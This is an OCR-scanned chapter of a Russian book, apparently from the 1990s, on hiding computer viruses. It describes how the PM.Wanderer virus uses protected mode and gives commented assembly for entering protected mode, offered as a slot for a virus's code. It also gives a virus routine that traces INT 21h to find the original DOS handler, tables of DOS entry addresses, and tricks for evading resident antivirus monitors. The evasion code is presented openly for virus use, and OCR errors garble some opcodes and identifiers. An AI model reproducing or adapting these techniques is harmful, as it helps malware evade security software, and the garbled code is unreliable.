МАСКИРОВКА ВИРУСОВ
В этой главе рассказано, как
может быть спрятан вирус.
Описаны методы конструи-
рования прямого обращения
к DOS для "обмана" резиден-
тных антивирусных монито-
ров. Рассмотрены вирусы,
заражающие Flash BIOS. Пред-
ставлены исходные тексты
программ с подробными ком-
ментариями.
Protected Mode - укрытие для вируса
Персональные компьютеры год от года становятся все сложнее и слож-
нее, используют все более высокие аппаратные и программные техноло-
гии. Компьютерные вирусы тоже не отстают и пытаются приспособиться
к новым условиям обитания. Так, вирусы научились заражать загрузоч-
ные сектора дисков, файлы для операционных систем DOS, Windows,
Windows 95, OS/2, Linux и даже документы Word, Excel, и MS-Office 97.
Скрывая свое присутствие в системе, они стали невидимками, или
стелс-вирусами. Они научились быть полиморфными для того, чтобы
их распознавание стало еще более трудной задачей для разработчиков
антивирусных средств. С появлением процессоров i386 вирусы стали
использовать в своем коде 32-разрядные инструкции. В настоящее вре-
мя полиморфные вирусы используют 32-разрядные расшифровывающие
команды в своем декрипторе.
Одним словом, вирусы хотят выжить и победить. Для этого они исполь-
зуют все новые возможности, как программные, так и аппаратные. Но
защищенный режим работы, появившийся вместе с процессором i286,
до недавнего времени вирусам никак не удавалось "приручить". Вернее,
были "пробы пера", но реального решения этой задачи они не дали.
Загрузочный вирус PMBS, первым пытавшийся освоить защищенный ре-
жим (1994 г.), не мог ужиться ни с одной программой или драйвером
(EMM386, Windows, OS/2,...), которые также использовали в своей рабо-
те защищенный режим. Вирусы Evolution.2761 и Evolution.2770 (тоже
1994 г.) использовали только часть мощного защищенного режима и толь-
ко в то время, когда процессор работал в реальном режиме. Данные виру-
сы заменяли реальную таблицу векторов прерываний на собственную.
Но вот, похоже, проблема близка к разрешению: в России в "диком"
виде обнаружен файловый вирус PM.Wanderer, использующий защи-
щенный режим. Причем он более или менее корректно и стабильно вза-
имодействует с другими программами и драйверами, также использую-
щими защищенный режим.
PM.Wanderer является резидентным полиморфным вирусом, использу-
ющим защищенный режим процессоров i386-Pentium. Для установки
своей резидентной копии в память и переключения в защищенный ре-
жим процессора (Protected Mode) вирусом используется документиро-
ванный интерфейс VCPI (Virtual Control Program Interface) драйвера
расширенной памяти EMS (EMM386).
При старте инфицированной программы вирусный полиморфный дек-
риптор расшифровывает основное тело вируса и передает ему управле-
ние. Далее основной вирусный код выделяет участок памяти в верхних
адресах, копирует в него собственный код и передает ему управление.
Затем он восстанавливает код инфицированного файла в программном
сегменте (для ЕХЕ-файлов также производит настройку адресов пере-
мещаемых элементов) и приступает к непосредственному внедрению
в память своей резидентной копии. .
В первую очередь вирус пытается вьыснить, установлен ли в системе драй-
вер EMS. Если этот драйвер не установлен или вирусная резидентная ко-
пия уже находится в памяти, вирус отдает управление программе-вирусо-
носителю, заканчивая тем самым свою "жизнедеятельность" в системе.
Если же "условия среды обитания" благоприятствуют, вирус выполня-
ет ряд подготовительных операций для выделения памяти под свое тело
и производит переключение процессора в защищенный режим работы
с наивысшим уровнем привилегий - режим супервизора.
В защищенном режиме вирус устанавливает две аппаратные контрольные
точки на адреса входа в обработчик прерывания INT 21h (функции DOS)
и перехода на процедуру перезагрузки компьютера. Кроме того, вирус
корректирует дескрипторную таблицу прерываний таким образом, чтобы
на прерывания INT 1 (особый случай отладки) и INT 9 (клавиатура) ус-
тановить собственные дескрипторы обработчиков прерываний.
После этих приготовлений вирус копирует свой код в страницу памяти,
полученную им еще до входа в защищенный режим, и производит пере-
ключение процессора обратно в виртуальный режим работы. Затем он
начинает процедуру освобождения ранее выделенной памяти DOS
в верхних адресах и возвращает управление инфицированной программе.
С этого момента инфицированная программа начинает свою основную
работу, а в защищенном режиме оказываются установленными вирус-
ные обработчики - ловушки на INT 1 и прерывания от клавиатуры на
INT 9. С их помощью вирус контролирует, во-первых, все вызовы фун-
кций DOS, во-вторых, все нажатия клавиш на клавиатуре, и, в-третьих,
попытки мягкой перезагрузки компьютера. В свою очередь, такой конт-
роль обеспечивает вирусу возможность как надежно реагировать на ряд
интересующих его событий при работе программы, так и постоянно
проверять состояние двух своих контрольных точек и при необходимо-
сти восстанавливать их.
В частности, если вирус обнаруживает, что данный вызов исходит
от его "собрата", он просто возвращает некоторое условное значение,
играющее роль отзыва "я - свой". Таким образом, вирус, пытавшийся
выяснить наличие своей копии в памяти, будет информирован о том,
что память уже инфицирована.
Если вирус обнаруживает попытку получения адреса прерывания INT 6
(обычно такой вызов существует во всех программах, написанных на
языках высокого уровня, например С, Pascal), то он 1"Ъ1тается найти
в адресном пространстве некоторую последовательность байт, очевидно
принадлежащих программе ADinf, но какой-то старой версии. Кстати,
по информации разработчика ADinf Дмитрия Мостового, за последний
год в версиях ADinf не содержится такая последовательность. Если дан-
ная последовательность вирусом найдена, он определенным образом
модифицирует найденный код, чтобы управление не попадало на вызов
межсегментной процедуры, демонстрирующей пользователю найденные
на диске или в файлах изменения.
Если же вирус обнаруживает запрос на запуск программы или открытие
файла (только на чтение), то понимает, что наступило время "большой
охоты". Вирус копирует свой код в старшие адреса виртуального про-
цесса DOS-машины, переключает процессор в виртуальный режим
и отдает управление своему коду (процедуре заражения).
В виртуальном режиме вирус проверяет последние две буквы расшире-
ния имени файла (ОМ или ХЕ), создает свою полиморфную копию
и заражает файлы размером более 4095 байт. Файлы, содержащие
в поле значения времени создания 34 секунды, вирус не заражает, счи-
тая их уже инфицированными. Корректировку атрибутов файлов вирус
не производит, поэтому все файлы, помеченные как "только для чте-
ния", заражены не будут. Также вирус не заражает программы, имя ко-
торых состоит из 7 букв. Имена данных программ выяснить не удалось,
так как вирус не определяет их имена явно, а подсчитывает CRC име-
ни. Вирус не берет на себя обработку критических ошибок, поэтому при
попытке записи на защищенный диск в процессе заражения появится
стандартный вопрос DOS (...Retry, Ignore, Fail, Abort).
При заражении файлов вирус использует прямой вызов ядра обработчи-
ка DOS INT 21h. Адрес этого ядра он выясняет при трассировке INT 21h
во время своей установки в память. Вирусный код внедряется в начало
СОМ- или в середину ЕХЕ-файла (сразу же после заголовка). Ориги-
нальный программный код запоминается в конце файла. Реальный
рабочий код вируса составляет 3684 байт, но на практике инфицирован-
ные файлы имеют приращение длины более 3940 байт. В теле вируса
содержится текст "WANDERER".
Обнаружить резидентную копию данного вируса, находящегося в нуле-
вом кольце защищенного режима процессора, обычными способами не-
возможно. Для этого необходимо переключаться в защищенный режим
с наивысшими привилегиями и производить его поиск. Но попытаться
обнаружить признаки вируса в системе можно и обычными способами.
После обнаружения вируса рекомендуется, как и всегда в таких случа-
ях, перезагрузиться с системной дискеты и выполнить лечение в заведо-
мо стерильных условиях. Правда, данный вирус не является Stealth-ви-
русом, и его лечение допустимо даже при активном вирусе.
Теперь немного о результатах тестирования. При заражении несколь-
ких тысяч файлов-жертв вирус проявил себя как "жилец" - все зара-
женные файлы оказались работоспособными. Здесь надо сделать по-
правку - файлы могут оказаться неработоспособными в том случае,
если их стек после заражения окажется в области вирусного кода.
PM.Wanderer при заражении файлов не корректирует значения стар-
товых SS:SP в ЕХЕ-заголовке. Как уже отмечалось выше, он сохраняет
способность к воспроизводству только в том случае, если в системе уста-
новлен драйвер EMS (EMM386). При установленном драйвере EMM386
с ключом NOEMS вирус перезагружает компьютер. Перезагрузка также
возможна, если в системе используется драйвер QEMM386.
Самое интересное, что если в системе находился резидентный вирус,
а потом произошла загрузка Windows 3.1 или Windows 95, то вирус не
сможет размножаться в данных операционных средах, но при выходе
в DOS он опять получает управление и может "трудиться, не покладая
рук". Если же вирус будет запущен в DOS-сессии Windows, то из-за
отсутствия интерфейса VCPI вирус не сможет переключиться в защи-
щенный режим. При отсутствии VCPI под OS/2 вирус также нежизнес-
пособен.
Возможно, в недалеком будущем компьютерный вирус сможет полнос-
тью заменить своим кодом программу-супервизора и сам будет поддер-
живать интерфейсы DPMI, EMS/VCPI, XMS, INT 15h. Кто знает.
Приведенная ниже программа позволяет программисту перевести про-
цессор в защищенный режим. В этом режиме вирус может, например,
расшифровать некоторые данные.
Данная программа делает следующее:
- создает таблицы GDT и LDT, используя текущие значения
CS.DS.SS
- запрещает все прерывания, открывает линию А20
для доступа к RAM>1 Мбайт
- переводит процессор в защищенный режим
- в первый символ строки qw заносит символ L
- выходит в реальный режим
- разрешает прерывания, закрывает А20 -т
- выводит на экран строку qw ("Light General")
- выход в DOS
.286
.model tiny
.code
org 100h
Определения для защищенного режима работы программы
;Структура дескриптора
desc_struc STRUC
limit dw 0
baseJ dw 0
base_h db 0
access db 0
rsrv dw 0
desc_struc ENDS
ACC_PRESENT equ WOOOOOOb
ACC_CSEG equ OOO-MOOOb
ACC_DSEG equ 000-IOOOOb
ACC_EXPDOWN equ 000001 OOb
ACC_CONFORM equ 000001 OOb
ACC_DATAWR equ 0000001 Ob
DATA_ACC=ACC_PRESENT or ACC_DSEG or ACC_DATAWR
; 1001001 Ob
CODE_ACC=ACC_PRESENT or ACC.CSEG or ACC_CONFORM
; 10011100b
STACK_ACC=ACC_PRESENT or ACC_DSEG or ACC_DATAWR or
ACC.EXPDOWN; 1001011 Ob
;Размеры сегментов (реальные размеры на единицу больше)
CSEG SIZE=65535
DSEG_SIZE=65535
STACK_SIZE=65535
[Смещения используемых дескрипторов
CS_DESCR=(gdt_cs-gdt_0)
DS_DESCR=(gdt_ds-gdt_0)
SS_DESCR=(gdt_ss-gdt_0)
;Константы значений портов ?
CMOS_PORT equ 70h
STATUS_PORT equ 64h
SHUTDOWN equ OFEh
A20_PORT equ OD1h
A20_ON equ ODFh
A20_OFF equ ODDh
INT_MASK_PORT equ 21 h
KBD_PORT_A equ 60h
start:
.Инициализируем необходимые данные для перехода
;в защищенный режим
call init_protected_mode
[Переходим в защищенный режим
call set_protected_mode
;Теперь компьютер работает в защищенном режиме!
;Так как таблица прерываний реального режима не может быть
использована в защищенном, прерывания запрещены!
;Именно тут можно вставить инструкции, нужные вирусу
.Возвращаемся в реальный режим
call set_real_mode
[Печатаем сообщение "Light General"
mov ah,09h
lea dx.qw
int 21 h
;Выходим в DOS
mov ax,4COOh
int 21 h
[Макрокоманда для установки адреса для дескриптора
;в глобальной таблице дескрипторов GDT.
;На входе регистры DLAX должны содержать
.абсолютный адрес сегмента
setgdtentry MACRO
mov [desc_struc.base_l][bx],ax
mov [desc_struc.base_h][bx],dl
ENDM
•<
; Процедура инициализации необходимых данных
.для перехода в защищенный режим
init_protected_mode PROC
вычисляем абсолютный адрес для сегмента данных
;в соответствии со значением регистра DS
mov ax.ds
mov dl.ah
shr dl,4
shi ax,4
;Устанавливаем адрес сегмента данных
;в глобальной таблице дескрипторов
mov bx, offset gdt_ds
setgdtentry
;Вычисляем абсолютный адрес для сегмента GDT: прибавляем
;к уже вычисленному абсолютному адресу сегмента данных
;смещение в нем таблицы дескрипторов
add ax,offset gdtr
adc dl.0
Останавливаем адрес сегмента GDT
;в глобальной таблице дескрипторов
mov bx.offset gdt_gdt
setgdtentry
;Вычисляем абсолютный адрес для сегмента кода
;в соответствии со значением регистра CS
mov ax,cs
mov dl.ah
shr dl,4
shi ax,4
.Устанавливаем адрес сегмента кода
;в глобальной таблице дескрипторов
mov bx, offset gdt_cs
setgdtentry
[Вычисляем абсолютный адрес для сегмента стека
;в соответствии со значением регистра SS
mov ax.ss
mov dl.ah
shr dl,4
shi ax,4
Останавливаем адрес сегмента стека
;в глобальной таблице дескрипторов
mov bx,offset gdt_ss
setgdtentry
Перехватываем рестарт. Так как процессор i286 (а эта программа
[рассчитана именно на такой процессор) не имеет возможности
;возврата в реальный режим из защищенного, возврат в реальный
режим будем производить следующим образом: перехватим рестарт,
.сгенерируем CPU Reset, после которого получим управление, когда
Процессор будет находится уже в реальном режиме. На процессоре
;i386 возврат в реальный режим происходит
[значительно проще и "естественнее".
push ds
mov ax,40h
mov ds,ax
mov word ptr ds:[0067h], offset shutdown_return
mov word ptr ds:[0069h],cs
pop ds
[Запрещаем маскируемые прерывания
cli
in al,INT_MASK_PORT
or al.OFFh
out INT_MASK_PORT,al
[Запрещаем немаскируемые прерывания. Данная последовательность
;команд не запрещает "незапрещаемые" прерывания в процессоре
[(этого сделать по определению нельзя), а "не пускает" сигнал
[немаскируемого прерывания к процессору
mov al,8Fh
out CMOS_PORT,al
jmp $+2
mov al,5
out CMOS_PORT+1,al
ret
init_protected_mode ENDP
[Подпрограмма, переводящая процессор в защищенный режим
set_protected_mode PROC
.Открываем адресную линию А20 для доступа свыше 1Мбайт.
;При закрытой линии адресное пространство
["зацикливается" в пределах 1Мбайт
call enable_a20
.Сохраняем значение регистра SS для реального режима
mov real_ss,ss
[Переводим компилятор Turbo Assembler в улучшенный режим.
[IDEAL - это не команда и не оператор, это директива, влияющая
[только на интерпретацию дальнейших строк листинга
ideal
р286
[Загружаем регистр глобальной таблицы дескрипторов GDTR
Igdt [QWORD gdt_gdt] ;db OFh,01h,16h dw offset gdt_gdt
[Переводим процессор в защищенный режим
mov ax,0001h
Imsw ax ;db OFh,01h,FOh
[Переводим компилятор Turbo Assembler назад в режим MASM
masm
.286
[Производим длинный переход для того,
.чтобы очистить внутреннюю очередь
.команд процессора
jmp far flush
db OEAh
dw offset flush
dw CS_DESCR
flush:
Останавливаем в регистр SS селектор сегмента стека
mov ax,SS_DESCR
mov ss.ax
;Устанавливаем в регистр DS селектор сегмента данных
mov ax,DS_DESCR
mov ds.ax
.Записываем в строку qw символ "L" и выходим из подпрограммы
mov byte ptr ds: [off set qw+2],"L"
ret
set_protected_mode ENDP
Подпрограмма, возвращающая процессор в реальный режим
set_real_mode PROC
[Сохраняем значение регистра SP для реального режима
mov real_sp,sp
.Выполняем CPU Reset (рестарт процессора)
mov al,SHUT_DOWN
out STATUS_PORT,al
;Ждем, пока процессор перезапустится
wait_reset:
hit
jmp wait_reset
;C этого места программа выполняется после перезапуска процессора
shutdown_return:
;Устанавливаем регистр DS в соответствии с регистром CS
push cs
pop ds
восстанавливаем указатели на стек
;по ранее сохраненным значениям
mov ss,real_ss
mov sp,real_sp
[Закрываем адресную линию А20
call disable_a20
.Разрешаем немаскируемые прерывания
mov ax.OOOdh
out CMOS_PORT,al
[Разрешаем маскируемые прерывания
in al,INT-MASK_PORT
and al,0
out INT_MASK_PORT,al
sti
ret
set_real_mode EN DP
[Процедура, открывающая адресную линию А20. После открытия
[адресной линии программам будет доступна память свыше 1Мбайт
enable_a20 PROC
mov al,A20_PORT
out STATUS_PORT,al
mov al,A20_ON
out KBD_PORT_A.al
ret
enable_a20 ENDP
[Процедура, закрывающая адресную линию А20. После закрытия
[адресной линии программам будет недоступна память свыше 1Мбайт.
[Адресное пространство будет "зацикленным" в пределах 1Мбайт
disable_a20 PROC
mov al.A20_PORT
out STATUS_PORT,al
mov al,A20_OFF
out KBD_PORT_A,al
ret
disable_a20 ENDP
[Здесь сохраняется адрес стека
real_sp dw ?
real_ss dw ?
[Эта строка выводится на экран после работы программы
[Символ "?" заменяется на "L" в защищенном режиме
qw db 13,10,"?ight General",13,10,"$"
;Глобальная таблица дескрипторов. Нулевой дескриптор
обязательно должен быть "пустым"
GDT_BEG=$
gdtr label WORD
gdt_0 desc_struc
gdt_gdt desc_struc
gdt_ds desc_struc
gdt_cs desc_struc
gdt_ss desc_struc
GDT_SIZE=($-GDT_BEG)
END start
Обход резидентных антивирусных мониторов
Обычно все программы используют сервис DOS так:
mov ah,...
int 21 h
По команде INT управление передается в точку, адрес которой определя-
ется двумя словами, находящимися в таблице векторов прерываний
по адресу 0000h:0084h. С этого момента начинается исполнение команд
многочисленных обработчиков прерывания INT 21h и не менее многочис-
ленных резидентных программ до тех пор, пока управление, наконец,
не получит оригинальный обработчик операционной системы (рис. 5.1.):
Разумеется, среди этих многочисленных обработчиков может "затесаться"
обработчик, принадлежащий антивирусному монитору, который не дает
спокойно работать не только вирусам, но и обычным программам.
Поэтому серьезные вирусы и некоторые хорошо написанные программы
пытаются определить адрес оригинального обработчика и обратиться
к нему напрямую, в обход остальных обработчиков:
mov ah,...
pushf
call dword ptr 021
021 dw ?
S21 dw ?
Но антивирусные мониторы учитывают эту возможность и принимают
свои меры.
Определение адреса оригинального обработчика DOS
Для того чтобы обратиться к DOS напрямую, нужно знать адрес ориги-
нального обработчика. Получить этот адрес не так просто.
Метод трассировки
Чаще всего используется метод трассировки при помощи отладочного
прерывания INT 1. Суть метода заключается в том, что вирус трассиру-
ет прерывание INT 21h (включает флаг трассировки, при этом после
каждой команды происходит прерывание INT 1) и проверяет значение
сегмента, в котором идет обработка прерывания. Если значение сегмен-
та меньше ОЗООЬ, то это обработчик DOS. Например, так поступал мно-
го лет назад вирус Yankee 2C (М2С, Музыкальный). Вот листинг соот-
ветствующего фрагмента с комментариями:
;Берем из таблицы векторов прерываний текущий адрес INT 01 h
mov ax,3501 h
int 21h
mov si.bx ;смещение сохраняем в регистре SI
mov di.es ;сегмент сохраняем в регистре DI
Останавливаем свой обработчик INT 01h
mov ax,2501h
mov dx,offset lnt01
int 21h
;Формируем в стеке адрес выхода из трассировки так, чтобы по IRET
;из INT 21h попасть на метку Next - помещаем в стек
.последовательно флаги, сегмент и смещение метки Next
pushf
push cs
mov ax,offset Next
push ax
;Начинаем трассировку INT 21 h. Для этого нужно подготовить стек
;следующим образом: поместить в него флаги с включенным флагом
;трассировки, а также сегмент и смещение текущего обработчика
;INT 21 h. Затем можно выполнить команду IRET - программа запустит
.текущий обработчик и считает из стека флаги (флаг трассировки
;во флаговом регистре включится, начнется трассировка. После
.каждой команды процессора будет запускаться INT 01 h).
;Помещаем в стек флаги, включаем в них бит, соответствующий
;флагу трассировки TF. Для того, чтобы включить флаг
.трассировки TF, после сохранения флагов в стеке считаем их
;в регистр АХ, в нем включим соответствующий бит, а затем
.сохраним регистр АХ в стеке
pushf
pop ax
or ax,0100h
push ax
;Считаем из таблицы векторов прерываний текущий адрес INT 21 h
mov ax,3521 h
int 21 h
[Сохраним в стеке сегмент, а затем и смещение текущего обработчика
push es
push bx
[Установим в регистре АН номер какой-либо безобидной функции
;(чтобы определение адреса обработчика DOS
;не сопровождалось разрушениями)
mov ah.OBh
.Запускаем трассировку
cli
iret
[Обработчик INT 01 h
lnt01:
;При вызове обработчика в стеке находятся: значение регистра IP,
;значение регистра CS, флаги перед прерыванием.
[Адресуемся к стеку с помощью регистра ВР,
[Предварительно сохранив текущее значение ВР
push bp
mov bp.sp
;Теперь в стеке находятся:
;SS:[BP] - ВР
;SS:[BP+2] - IP
;SS:[BP+4] - CS
;SS:[BP+6] - флаги
; Проверяем флаг продолжения
cmp byte ptr cs:ContinueFlag,1
;Если флаг продолжения выключен, то выходим из трассировки
jne TraceOff
[Проверяем текущий адрес. Если сегмент меньше 300h,
обработчик DOS достигнут, иначе - продолжаем трассировку
;и выходим из обработчика
cmp word ptr [bp+4],300h
jnc ExitFromInt
[Достигнут DOS - берем из стека адрес обработчика и сохраняем его
push bx
mov bx,[bp+2]
mov word ptr cs:021,bx
mov bx,[bp+4]
mov word ptr cs:S21,bx
pop bx
.Заканчиваем обработку прерывания и дальнейшую трассировку
TraceOff:
[Устанавливаем в ноль бит, соответствующий TF,
;в копии регистра флагов в стеке
and word ptr [bp+6],OFEFFh
[Устанавливаем в ноль флаг продолжения
mov byte ptr cs:ContinueFlag,0
ExitFromInt:
pop bp
.Выходим из обработчика
i ret
[Восстановление после трассировки
Next:
[Сбрасываем флаг продолжения
mov byte ptr ds:ContinueFlag,0
[Восстанавливаем прежнее значение вектора прерывания INT 01 h
mov ax,2501 h
mov dx.si
mov ds.di
int 21 h
В настоящее время этот алгоритм можно считать несколько устарев-
шим. Дело в том, что современные версии DOS могут размещать свой
обработчик в областях верхней памяти. Поэтому условие окончания
трассировки должно выглядеть, например, так:
cmp word ptr [bp+4],300h
jb loc_65
cmp word ptr [bp+4],OFOOOh
ja loc_65
В качестве альтернативного варианта можно использовать такой прием.
Сначала определяется исходный сегмент DOS при помощи недокумен-
тированной функции 52h прерывания INT 21h (возвращает адрес век-
торной таблицы связи DOS):
mov ah, 52h
int 21h
mov SegDOS, es
Тогда условие завершения трассировки можно оформить следующим
образом:
push ax
mov ax, cs: SegDOS
cmp word ptr [bp+6], ax
pop ax
jz DOSIsGot
Разумеется, разные приемы могут дать разные результаты. Причем все
результаты можно считать в той или иной мере корректными. Дело
в том, что современные версии DOS, даже будучи загруженными в верх-
нюю память, всегда имеют точку входа в нижней памяти вида:
пор
пор
[Проверка состояния адресной линии А20
call Check_A20
[Переход в верхнюю память
jmp cs: dword ptr HI_DOS
С точки зрения обхода резидентных мониторов "правильным" следует
признать адрес в обработчике DOS, имеющий максимальное значение.
Мы еще вернемся к вопросу о нахождении "правильного" адреса далее.
Авторы антивирусных мониторов знают о подобном приеме поиска ори-
гинального адреса DOS. Достаточно легко испортит трассировку, на-
пример, вот такой вот фрагмент, встроенный в цепочку обработчиков:
.Вызываем обработчик прерывания INT 60h (до этого момента
[Прерывание INT 60h должно быть перехвачено)
int 60h
;Сюда нужно вернуться из прерывания
пор
[Сюда реально вернемся, и флаг трассировки будет сброшен,
;то есть трассировка будет прекращена
пор
[Обработчик прерывания. При вызове прерывания флаг трассировки
.сбрасывается - при входе в обработчик трассировка будет выключена
lnt60:
[Разрешение прерываний, так как при выходе из обработчика не
[будет восстанавливаться оригинальное значение регистра флагов
sti
[Увеличиваем на единицу адрес возврата в стеке
push bp
mov bp, sp
add [bp+2],1
pop bp
[Выходим из прерывания, но не командой IRET, а командой RETF 2,
.чтобы не восстанавливать флаги (и, как следствие,
.флаг трассировки TF)
retf 2
Кроме того, факт трассировки можно достаточно просто обнаружить,
применив хорошо известный разработчикам защит от несанкционирован-
ного копирования прием аппаратного конвейера, который использует
процессор для ускорения работы. При выполнении очередной команды
процессор считывает код следующей. Когда придет время выполнения
следующей команды, она будет уже считана из памяти, и не нужно бу-
дет тратить время на ее чтение. Прием заключается в модификации ко-
манд, которые уже оказались в конвейере: если трассировка не ведется,
то код команд модифицируется только в памяти, а выполняется та про-
грамма, которая находится в конвейере. Если трассировка ведется, то
конвейер сбрасывается перед каждой командой трассируемой програм-
мы (конвейер сбрасывают такие команды, как JMP, CALL, RET) и вы-
полняется модифицированный код.
Кодифицируем следующую команду. Команда JMP (безусловный
; переход) заменяется на две команды NOP (нет операции)
mov Metka, 9090h
Переходим, если выполняется немодифицированный код (в случае,
;когда трассировка не ведется), и проходим дальше, если выполняется
кодифицированный код (в случае трассировки)
Metka: jmp NoTrace
Trace:
;Сюда попадем при выявленном факте трассировки
NoTrace:
Трассировка не ведется - нормальное выполнение программы
Наконец, последний гвоздь в гроб идеи использования трассировки за-
бит: "Выставленный флаг трассировки можно выявить косвенно, замас-
кировав аппаратные прерывания, поместив в [SP-1] контрольное значе-
ние и дав инструкцию STI. Тогда по изменению слова в стеке можно
судить, было трассировочное прерывание или нет".
Выявив факт трассировки прерывания DOS, мониторы начинают выда-
вать об этом соответствующие сообщения, поэтому даже не самый
опытный пользователь догадается, что кто-то (например, вирус) пытает-
ся попасть в систему.
Метод предопределенньш адресов
Переходим к методу определения оригинального адреса точки входа
в DOS, основанному на том, что эти адреса для разных версий и конфи-
гураций DOS имеют в общем случае различные значения, но число
их ограничено. А это значит, что их можно просто-напросто выбирать
из таблицы (причем не очень большой). Прием не новый, но незаслу-
женно забытый.
Имея программу, основанную на одном из ранее описанных способов
определения реального адреса обработчика DOS, загрузочные дискеты
с разными версиями DOS и немного терпения, можно получить при-
мерно вот такую информацию.
Оригинальный обработчик DOS версии 3.30 всегда имеет вид:
.Точка О
2Е CS:
891ЕВ800 MOV [ООВ8],ВХ
2Е CS:
8С06ВАОО MOV [OOBA],ES
СВ RETF
.Точка 1
2Е CS:
3A26FFOD СМР AH,[ODFF]
77DC JA 1443
80FC51 СМР АН,51
74А1 JZ 140D
80FC64 СМР АН,64
74ВА JZ 143A
;Точка 2
Оригинальные обработчики DOS версий 5.0-7.0 очень похожи.
В общем случае они состоят из следующих фрагментов:
Фрагмент 1 (если он присутствует) всегда располагается в нижних ад-
ресах памяти. Большинство алгоритмов трассировки заканчивают рабо-
ту, достигнув этой точки. Для DOS версий 5.0-6.22 этот фрагмент при-
сутствует, если в CONFIG.SYS есть строка DOS=HIGH (вне
зависимости от того, осуществляется ли запуск поддерживающего эту
опцию драйвера HIMEM.SYS). Если драйвера нет, то JMP FAR просто
указывает на фрагмент 2, размещающийся в нижних областях памяти.
Если строки DOS=HIGH нет, то фрагмент 1 вырожден (состоит из од-
ной команды внутрисегментного перехода), и обработчик состоит
из фрагмента 2.
;Точка О
90 МОР
90 NOP
E8CCOO CALL CheckA20
2E CS:
FF2E6A10J MP FAR NEXTDOS
Фрагмент 2 может располагаться как в верхних, так и в нижних адре-
сах памяти.
;Точка 1
NEXTDOS:
FA CLI
80FC6C СМР АН.6С
77D2 JA 40DO
80FC50 СМР АН.50
748Е JZ 40A9
;Точка 2
Для DOS 7.0 структура обработчика, в общем, такая же. Исключение -
фрагмент 1 присутствует всегда, вне зависимости от содержимого фай-
ла CONFIG.SYS. Теперь приведем конкретные значения адресов, полу-
ченные для разных случаев:
DOS 7.0 (русская версия)
Точка О OOC9:OFB2 9090
Точка 1 FF03:41E7 80FA
Точка 2 FF03:420A 1E06
Точка 2А FF03:5333 2ACD
DOS 6.20
device=himem. sys
dos=high
Точка О 0123:109Е 9090
Точка 1 FDC8:40F8 80FA
Точка 2 FDC8:411B1E06
Точка 2А FDC8:41D12ACD
DOS 6.20
dos=high
Точка О 0123:109Е ОЗЕВ
Точка 1 03AC:40F8 80FA
Точка 2 ОЗАС:411В 1Е06
Точка 2А 03AC:41D1 2ACD
DOS 6.20
Точка 1 002A:40F8 SOFA
Точка 2 002А:411В 1Е06
Точка 2А 002A:41D1 2ACD
DOS 5.0
device=himem. sys
dos=high
Точка О 0123:109Е 9090
Точка 1 FDC8:40EB80FA
Точка 2 FDC8:410E 1Е06
Точка 2А FDC8:41C42ACD
DOS 5.0
dos=high
Точка О 0123:109Е ОЗЕВ
Точка 1 03AC:40F8 80FA
Точка 2 ОЗАС:411В 1Е06
Точка 2А 03AC:41D1 2ACD
DOS 5.0
Точка 1 002А:40ЕВ 80FA
Точка 2 002А:410Е 1Е06
Точка 2А 002A:41D1 2ACD
DOS 3.30
Точка О 0070:05DC 892E
Точка 1 0294:1460 ЗА2Е
Точка 2 0294:1480
Точка 2А 0294:151 В 2ACD
DOS 3.10
Точка О 0070:OD43
DOS 3.20
Точка 0 0070:17DO
Точка 2 является оптимальной, то есть в нее целесообразнее всего пере-
давать управление, чтобы обойти резидентные антивирусные мониторы.
Точка 2А - это позиция инструкции INT 2Ah, которую DOS обязатель-
но выполняет в процессе обработки 21-го прерывания.
В конце каждой строки приведены контрольные слова - на тот случай,
если по указанному адресу находится нечто иное.
Борьба с антивирусными мониторами
Современные антивирусные мониторы умеют отслеживать факт прямо-
го обращения программ к DOS.
Защиту 21-го прерывания можно организовать более эффективно, ис-
пользуя метод встраивания в ядро операционной системы. Общеприня-
тая схема такова: в точку входа прерывания INT 21h записывается инст-
рукция JMP FAR на обработчик, который проверяет номер функции на
безопасность. Он восстанавливает оригинальные инструкции в точке вхо-
да прерывания и вызывает обработчик INT 21h. После возврата управле-
ния из прерывания, в точку входа снова записывается инструкция JMP
FAR, и управление передается программе, вызвавшей INT 21h.
Здесь описан обычный "сплайсинг" (встраивание), который широко
применяется разработчиками вирусов. Отметим, что для перехода не
обязательно использовать инструкцию JMP FAR (она занимает 5 байт
в памяти и не везде может быть размещена). Вместо нее можно приме-
нить INT 3, затратив всего 1 байт. В то же время необходимо обеспе-
чить обработку вызовов с кодами OOh, 4Ch, 31h (они не возвращают уп-
равление в исходную точку), а также самовызовов (при завершении
процессов посредством INT 27h и INT 20h).
Процесс развивается следующим образом. Первый компонент антивирус-
ного монитора встраивается в ядро DOS, а второй - просто перехватыва-
ет цепочку 21-го прерывания. Когда программа выполняет инструкцию
INT 21h, управление передается второму компоненту. У антивирусных
мониторов существует список функций, которые воспринимаются ими
как опасные. Они могут сделать проверку на наличие заданной функ-
ции в этом списке, затем выставить флаг "проход цепочки" и передать
управление дальше. Когда первый компонент получает управление, он
проверяет флаг "прохода цепочки". Если он выставлен, то была инст-
рукция INT 21h, поэтому необходимо сбросить флаг "проход цепочки"
и передать управление в DOS. Если флаг сброшен, это значит, что был
5 - 1436
выполнен прямой вызов. В этом случае требуется принимать соответ-
ствующие меры против возможных действий вируса.
Эта идея исключительно проста и эффективна. В том или ином виде ее
применяют почти все современные антивирусные мониторы. Вот один
из таких вариантов.
После трассировки прерывания выполняется обращение к DOS по
оригинальному адресу. Программа AVPTSR перехватывает обращение.
Точнее, AVPTSR перехватывает INT 2Ah, причем этот вызов произве-
ден из INT 21h, вблизи начала фрагмента. Обработчик INT 08h,
то есть таймера, периодически восстанавливает вектор 2Ah, если он
был отключен.
Подразумевается, что флаг прохода цепочки 21-го прерывания проверя-
ется в обработчике INT 2Ah.
Конструирование неотслеживаемого обращения к DOS
Для чего нужно такое конструирование? Неужели антивирусные мони-
торы настолько бдительны, что пресекают любые попытки открыть для
модификации ЕХЕ- или СОМ-файл? Да, это действительно так. Авто-
ры антивирусных мониторов обладают достаточно эффективными сред-
ствами, чтобы предотвратить прямые обращения к DOS со стороны ви-
русов.
Обратимся к мнению Ю. Косивцова: "Для обнаружения действия нере-
зидентных вирусов необходимо контролировать вызов функций DOS
с номерами: 3Dh (открытие файла через описатель), OFh (открытие
файла через FCB и 5Dh) и подфункцию OOh (косвенный вызов DOS).
Если при открытии файла обнаружено, что расширение его СОМ, ЕХЕ
или SYS, то можно выдавать предупреждающее сообщение".
Список выглядит слишком коротким. Действительно, а что произойдет,
если сначала переименовать программный файл? И почему не учтена
функция 6Ch (расширенное открытие файла)? А что будет, если от-
крыть файл для чтения, а затем изменить режим доступа прямым обра-
